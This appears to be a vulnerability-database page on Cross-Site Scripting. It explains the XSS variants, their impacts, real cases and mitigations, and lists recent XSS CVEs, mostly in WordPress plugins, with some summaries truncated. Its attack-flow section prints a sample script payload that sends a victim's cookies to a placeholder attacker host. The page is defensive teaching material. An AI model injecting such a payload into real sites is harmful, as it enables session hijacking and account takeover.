Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39082)

EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's colibri_video_player shortcode in all versions up to, and including, 1.0.276 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Colibri Page Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP Stacker WordPress plugin through 1.8.5 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP Backpack WordPress plugin through 2.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Backpack
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Arforms
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel - Combo Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute of. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Comboblocks
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Logo Slider WordPress plugin before 4.0.0 does not validate and escape some of its Slider Settings before outputting them back in attributes, which could allow users with the contributor role and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Logo Slider
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Prime Slider - Addons For Elementor (Revolution of a slider, Hero Slider, Ecommerce Slider) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ attribute within the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Prime Slider
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Essential Addons for Elementor Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘eael_lightbox_open_btn_icon’ parameter within the Lightbox & Modal widget in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Essential Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP jQuery Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘title’ attribute in all versions up to, and including, 1.5.4 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Lightbox
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 allows XSS via list columns from user preferences. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Webmail Debian Linux
NVD GitHub
EPSS 73% CVSS 6.1
MEDIUM POC KEV PATCH THREAT This Month

Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 allows XSS via SVG animate attributes. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Webmail Debian Linux
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel - Combo Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' attribute in. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Post Grid
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The WP Mobile Menu - The Mobile-Friendly Responsive Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image alt text in all versions up to, and including, 2.8.4.2 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wp Mobile Menu
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Clever Fox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's info box block in all versions up to, and including, 25.2.0 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Clever Fox
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Monstra CMS v3.0.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the About Me parameter in the Edit. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Monstra
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Cross-site Scripting (XSS) vulnerability exists in the SAML metadata endpoint `/auth/saml/${org?.id}/metadata` of lunary-ai/lunary version 1.2.7. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Lunary
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

gaizhenbiao/chuanhuchatgpt is vulnerable to an unrestricted file upload vulnerability due to insufficient validation of uploaded file types in its `/upload` endpoint. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Python +2
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored Cross-Site Scripting (XSS) vulnerability existed in version (20240121) of gaizhenbiao/chuanhuchatgpt due to inadequate sanitization and validation of model output data. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Chuanhuchatgpt
NVD
EPSS 1% CVSS 9.6
CRITICAL POC PATCH Act Now

A Cross-Site Scripting (XSS) vulnerability exists in mintplex-labs/anything-llm, affecting both the desktop application version 1.2.0 and the latest version of the web application. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

RCE XSS Anythingllm Desktop +1
NVD GitHub
EPSS 1% CVSS 8.7
HIGH POC PATCH This Week

A stored Cross-Site Scripting (XSS) vulnerability exists in the mintplex-labs/anything-llm application, affecting versions up to and including the latest before 1.0.0. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Anythingllm
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

A clickjacking vulnerability exists in zenml-io/zenml versions up to and including 0.55.5 due to the application's failure to set appropriate X-Frame-Options or Content-Security-Policy HTTP headers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Zenml
NVD GitHub
EPSS 0% CVSS 8.3
HIGH POC PATCH This Week

A Cross-Site Request Forgery (CSRF) vulnerability exists in the profile picture upload functionality of the Lollms application, specifically in the parisneo/lollms-webui repository, affecting. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS CSRF Denial Of Service +1
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

A stored Cross-Site Scripting (XSS) vulnerability was identified in the zenml-io/zenml repository, specifically within the 'logo_url' field. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Zenml
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The SuluFormBundle adds support for creating dynamic forms in Sulu Admin. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Suluformbundle
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Vulnerability in Dulldusk's PHP File Manager affecting version 1.7.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Phpfilemanager
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Essential Addons for Elementor - Best Elementor Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Essential Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.0.276 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Colibri Page Builder
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The MultiVendorX Marketplace - WooCommerce MultiVendor Marketplace Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘hover_animation’ parameter in all versions up. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Multivendorx
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Qi Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's file uploader in all versions up to, and including, 1.2.9 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Qi Blocks
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WordPress prettyPhoto plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter in all versions up to, and including, 1.2.3 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Prettyphoto
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Magical Addons For Elementor ( Header Footer Builder, Free Elementor Widgets, Elementor Templates Library ) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_id’. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Magical Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The ElementsReady Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_id’ parameter in all versions up to, and including, 6.1.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Elementsready
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Rotating Tweets (Twitter widget and shortcode) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's' 'rotatingtweets' in all versions up to, and including, 1.9.10. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Rotating Tweets
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Materialis Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's materialis_contact_form shortcode in all versions up to, and including, 1.3.41 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Materialis Companion
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The SellKit - Funnel builder and checkout optimizer for WooCommerce to sell more, faster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Sellkit
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's widget's titles in all versions up to, and including, 2.1.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity.

XSS WordPress Themesflat Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in several widgets via URL parameters in all versions up to, and including, 2.1.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Themesflat Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Qi Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's button widgets in all versions up to, and including, 1.7.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Qi Addons For Elementor +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's TF Group Image, TF Nav Menu, TF Posts, TF Woo Product Grid, TF Accordion, and TF. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Themesflat Addons For Elementor
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widget tags in all versions up to, and including, 2.1.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Themesflat Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simple Image Popup Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sips_popup' shortcode in all versions up to, and including, 1.0 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Simple Image Popup Shortcode
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Easy Social Like Box - Popup - Sidebar Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'cardoza_facebook_like_box' shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Easy Social Like Box Popup Sidebar Widget
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Image Hover Effects for Elementor with Lightbox and Flipbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_id', 'oxi_addons_f_title_tag', and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Image Hover Effects For Elementor With Lightbox And Flipbox +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Custom Dash plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Custom Dash
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Testimonials Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's testimonials shortcode in all versions up to, and including, 4.0.4 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Testimonials Widget
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Clever Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the CAFE Icon, CAFE Team Member, and CAFE Slider widgets in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Clever Addons For Elementor +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The EasyAzon - Amazon Associates Affiliate Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘easyazon-cloaking-locale’ parameter in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Amazon Affiliates
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Finesse could allow an unauthenticated, remote attacker to conduct a stored XSS attack by exploiting an RFI vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Finesse
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

A flaw was found in the Katello plugin for Foreman, where it is possible to store malicious JavaScript code in the "Description" field of a user. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Katello Satellite
NVD
EPSS 12% CVSS 6.1
MEDIUM POC THREAT This Month

The GP Premium plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the message parameter in all versions up to, and including, 2.4.0 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 12.0%.

WordPress XSS Generatepress
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpdm_modal_login_form' shortcode in all versions up to, and including, 3.2.93 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Download Manager
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The GamiPress - Link plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's gamipress_link shortcode in all versions up to, and including, 1.1.4 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Gamipress Link
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The EmbedPress - Embed PDF, Google Docs, Vimeo, Wistia, Embed YouTube Videos, Audios, Maps & Embed Any Documents in Gutenberg & Elementor plugin for WordPress is vulnerable to Stored Cross-Site. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Google +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's su_lightbox shortcode in all versions up to, and including, 7.1.6 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Shortcodes Ultimate
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Blocksy theme for WordPress is vulnerable to Reflected Cross-Site Scripting via the custom_url parameter in all versions up to, and including, 2.0.50 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity.

XSS WordPress Blocksy
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Boostify Header Footer Builder for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘size’ parameter in all versions up to, and including, 1.3.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Boostify Header Footer Builder For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Weaver Xtreme Theme Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's div shortcode in all versions up to, and including, 6.4 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Weaver Xtreme Theme Support
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Responsive Addons - Starter Templates, Advanced Features and Customizer Settings for Responsive Theme. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Responsive Addons
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's contact form widget error message and redirect URL in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Brizy
NVD
EPSS 0% CVSS 7.4
HIGH PATCH This Week

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Link To' field of multiple widgets in all versions up to, and including, 2.4.43 due to insufficient. Rated high severity (CVSS 7.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Brizy
NVD
EPSS 2% CVSS 7.2
HIGH PATCH This Week

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form name values in all versions up to, and including, 2.4.43 due to insufficient input sanitization. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Brizy
NVD
EPSS 0% CVSS 7.1
HIGH PATCH This Week

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post content in all versions up to, and including, 2.4.41 due to insufficient input sanitization. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Brizy
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Custom Attributes for blocks in all versions up to, and including, 2.4.43 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Brizy
NVD
EPSS 1% CVSS 6.4
MEDIUM PATCH This Month

The Newsletter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'np1' parameter in all versions up to, and including, 8.3.4 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Newsletter
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in audimex audimexEE v.15.1.2 and fixed in 15.1.3.9 allows a remote attacker to execute arbitrary code via the service, method, widget_type, request_id, payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Audimexee
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Action Text brings rich text content and editing to Rails. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Rails
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in VideoWhisper Picture Gallery allows Stored XSS.5.11. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Picture Gallery
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Visual Composer Visual Composer Website Builder visualcomposer.8.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Saso Nikolov Event Tickets with Ticket Scanner allows Reflected XSS.3.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Event Tickets With Ticket Scanner
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Spiffy Plugins WP Flow Plus allows Stored XSS.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wp Flow Plus
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Pdfcrowd Save as PDF plugin by Pdfcrowd allows Stored XSS.2.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Save As Pdf
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

